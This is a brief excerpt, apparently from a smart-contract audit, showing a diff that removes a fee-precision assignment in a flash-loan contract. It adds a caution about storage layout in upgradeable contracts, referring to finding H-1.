5     // ...
6 -   s_feePrecision = 1e18;
7   s_flashLoanFee = 3e15;
8 }

```

Note: Be careful with storage layout when making this change in upgradeable contracts (see H-1).